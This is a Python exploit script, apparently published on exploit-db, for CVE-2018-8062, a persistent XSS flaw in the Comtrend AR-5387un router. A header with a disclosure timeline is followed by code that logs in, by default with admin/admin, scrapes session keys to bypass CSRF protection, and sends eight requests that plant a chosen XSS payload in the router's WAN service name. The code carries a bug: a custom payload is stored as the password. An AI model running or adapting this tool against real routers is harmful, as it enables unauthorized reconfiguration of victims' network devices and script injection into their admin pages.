#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit Title: Persistent XSS on Comtrend AR-5387un router
Date: 19/10/2020
Exploit Author: OscarAkaElvis
Vendor Homepage: https://www.comtrend.com/
Version: Comtrend AR-5387un router
Tested on: Software/Firmware version A731-410JAZ-C04_R02.A2pD035g.d23i
CVE: CVE-2018-8062
Disclosure timeline:
08/03/2018: Vulnerability was discovered
10/03/2018: Reported to Mitre (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8062)
11/03/2018: Mitre answered, CVE number reserved
11/03/2018: Reported to Comtrend as part of responsible disclosure, they never answered
16/10/2020: Two years later, reported again to Comtrend and public disclosure (https://twitter.com/OscarAkaElvis/status/1317004119509471233)
18/10/2020: Exploit creation
19/10/2020: Exploit sent to exploit-db
Exploitation explanation:
To exploit this vulnerability, once logged into the router, a WAN service must be created
Click on "Advanced Setup", "WAN Service". "Add button", "Next"
Then insert the payload into the "Enter Service Description" field. This was used for the PoC
Then click on "Next" four times to go on through the steps and finally click on "Apply/Save"
The result of the XSS will be displayed and triggered on the WAN services page
This exploit automatize the entire process bypassing CSRF protection and allowing to set a custom XSS payload
Happy hacking :)
OscarAkaElvis - https://twitter.com/OscarAkaElvis
"""
# Dependencies and libraries
import requests
from requests.auth import HTTPBasicAuth
import re
from sys import argv, exit
import argparse
from os import path
from time import sleep
class Exploit(object):
# Global class vars
session = requests.Session()
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.99 Safari/537.36"
ip = None
username = None
password = None
payload = None
default_ip = "192.168.1.1"
default_username = "admin"
default_password = "admin"
default_payload = ""
exploit_version = "1.0"
current_sessionkey = None
referer_sessionkey = None
script_name = path.basename(argv[0])
description_text = 'CVE-2018-8062 exploit by OscarAkaElvis, Persistent XSS on Comtrend AR-5387un router'
epilog_text = 'Examples:\n python3 ' + script_name + ' -i 192.168.0.150\n python3 ' + script_name + ' -u admin -p mySecureRouterP@ss\n python3 ' + script_name + ' -i 10.0.0.1 -u admin -p mySecureRouterP@ss -x \'\''
def start_msg(self):
print("[*] Starting CVE-2018-8062 exploit...")
sleep(0.5)
def check_params(self, arguments):
parser = argparse.ArgumentParser(description=self.description_text, formatter_class=argparse.RawDescriptionHelpFormatter, epilog=self.epilog_text)
parser.add_argument('-i', '--ip', dest='ip', required=False, help="set router's ip", metavar='IP')
parser.add_argument('-u', '--username', dest='username', required=False, help="set user to login on router", metavar='USERNAME')
parser.add_argument('-p', '--password', dest='password', required=False, help="set password to login on router", metavar='PASSWORD')
parser.add_argument('-x', '--xss-payload', dest='payload', required=False, help="set xss payload", metavar='PAYLOAD')
parser.add_argument('-v', '--version', action='version', version=self.print_version(), help="show exploit's version number and exit")
args = parser.parse_args(arguments)
self.start_msg()
print("[*] Launch the exploit using -h argument to check all the available options")
print()
if not args.ip:
self.ip = self.default_ip
print("[!] Warning, no ip set, default will be used: " + str(self.ip))
else:
self.ip = args.ip
if not args.username:
self.username = self.default_username
print("[!] Warning, no username set, default will be used: " + str(self.username))
else:
self.username = args.username
if not args.password:
self.password = self.default_password
print("[!] Warning, no password set, default will be used: " + str(self.password))
else:
self.password = args.password
if not args.payload:
self.payload = self.default_payload
print("[!] Warning, no XSS payload set, PoC default will be used: " + str(self.payload))
else:
self.password = args.password
def print_version(self):
print()
return 'v{}'.format(self.exploit_version)
def check_router(self):
try:
print()
print("[*] Trying to detect router...")
headers = {"User-Agent": self.user_agent}
response = self.session.get("http://" + str(self.ip) + "/", headers=headers)
if re.match(r'.*WWW-Authenticate.*Broadband Router.*', str(response.headers)):
print("[+] Comtrend router detected successfully")
else:
print()
print("[-] It seems the target is not a Comtrend router")
print("[*] Exiting...")
exit(1)
except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError):
print()
print("[-] Can't connect to the router")
print("[*] Exiting...")
exit(1)
def check_login(self):
print()
print("[*] Trying to login...")
headers = {"User-Agent": self.user_agent}
response = self.session.get("http://" + str(self.ip) + "/", headers=headers, auth=HTTPBasicAuth(self.username, self.password))
if response.status_code != 401:
print("[+] Login successfully!")
sleep(1)
else:
print()
print("[-] Can't login into the router. Check your creds!")
print("[*] Exiting...")
exit(1)
def get_sessionKey(self, response_text):
sessionKey = re.search(r'.*sessionKey=([0-9]+).*', str(response_text))
if sessionKey is not None:
sessionKey = sessionKey.group(1)
else:
sessionKey = re.search(r'.*sessionKey=\\\'([0-9]+).*', str(response_text), re.MULTILINE)
if sessionKey is not None:
sessionKey = sessionKey.group(1)
return sessionKey
def step1(self):
print()
print("[*] Performing step 1/8. Getting initial sessionKey to bypass CSRF protection...")
headers = {"User-Agent": self.user_agent}
response = self.session.get("http://" + str(self.ip) + "/wancfg.cmd", headers=headers, auth=HTTPBasicAuth(self.username, self.password))
self.current_sessionkey = self.get_sessionKey(response.content)
print("[+] Success! Initial sessionKey: " + self.current_sessionkey)
sleep(1)
def step2(self):
print()
print("[*] Performing step 2/8...")
paramsGet = {"sessionKey": self.current_sessionkey, "serviceId": "0"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/wancfg.cmd"}
response = self.session.get("http://" + str(self.ip) + "/wanifc.cmd", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))
self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)
def step3(self):
print()
print("[*] Performing step 3/8...")
paramsGet = {"sessionKey": self.current_sessionkey, "wanL2IfName": "atm0/(0_8_35)"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/wanifc.cmd?serviceId=0&sessionKey=" + self.referer_sessionkey}
response = self.session.get("http://" + str(self.ip) + "/wansrvc.cmd", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))
self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)
def step4(self):
print()
print("[*] Performing step 4/8...")
paramsGet = {"vlanMuxPr": "-1", "sessionKey": self.current_sessionkey, "vlanMuxId": "-1", "ntwkPrtcl": "0", "enVlanMux": "1", "enblEnetWan": "0", "serviceName": self.payload}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/wansrvc.cmd?wanL2IfName=atm0/(0_8_35)&sessionKey=" + self.referer_sessionkey}
response = self.session.get("http://" + str(self.ip) + "/pppoe.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))
self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)
def step5(self):
print()
print("[*] Performing step 5/8...")
paramsGet = {"useStaticIpAddress": "0", "pppLocalIpAddress": "0.0.0.0", "sessionKey": self.current_sessionkey, "enblIgmp": "0", "enblFullcone": "0", "pppTimeOut": "0", "pppAuthErrorRetry": "0", "pppServerName": "", "enblPppDebug": "0", "pppPassword": "", "enblNat": "0", "enblOnDemand": "0", "pppUserName": "", "pppIpExtension": "0", "enblFirewall": "0", "pppAuthMethod": "0", "pppToBridge": "0"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/pppoe.cgi?enblEnetWan=0&ntwkPrtcl=0&enVlanMux=1&vlanMuxId=-1&vlanMuxPr=-1&serviceName=pppoe_0_8_35&sessionKey=" + self.referer_sessionkey}
response = self.session.get("http://" + str(self.ip) + "/ifcgateway.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))
self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)
def step6(self):
print()
print("[*] Performing step 6/8...")
paramsGet = {"sessionKey": self.current_sessionkey, "defaultGatewayList": "ppp0.1"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/ifcgateway.cgi?pppUserName=&pppPassword=&enblOnDemand=0&pppTimeOut=0&useStaticIpAddress=0&pppLocalIpAddress=0.0.0.0&pppIpExtension=0&enblNat=0&enblFirewall=0&enblFullcone=0&pppAuthMethod=0&pppServerName=&pppAuthErrorRetry=0&enblPppDebug=0&pppToBridge=0&enblIgmp=0&sessionKey=" + self.referer_sessionkey}
response = self.session.get("http://" + str(self.ip) + "/ifcdns.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))
self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)
def step7(self):
print()
print("[*] Performing step 7/8...")
paramsGet = {"dnsRefresh": "1", "sessionKey": self.current_sessionkey, "dnsPrimary": "1.1.1.1", "dnsSecondary": "8.8.8.8"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/ifcdns.cgi?defaultGatewayList=ppp0.1&sessionKey=" + self.referer_sessionkey}
response = self.session.get("http://" + str(self.ip) + "/ntwksum2.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))
self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)
def final_step8(self):
print()
print("[*] Performing final step 8/8. Deploying XSS payload...")
paramsGet = {"sessionKey": self.current_sessionkey, "action": "add"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/ntwksum2.cgi?dnsPrimary=1.1.1.1&dnsSecondary=8.8.8.8&dnsRefresh=1&sessionKey=" + self.referer_sessionkey}
self.session.get("http://" + str(self.ip) + "/wancfg.cmd", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))
print()
print("[+] XSS payload deployed successfully")
print("[+] Happy hacking :) . Author: OscarAkaElvis")
@staticmethod
def main(self, arguments):
self.check_params(arguments)
self.check_router()
self.check_login()
self.step1()
self.step2()
self.step3()
self.step4()
self.step5()
self.step6()
self.step7()
self.final_step8()
exit(0)
if __name__ == '__main__':
ImportObject = Exploit()
ImportObject.main(ImportObject, argv[1:])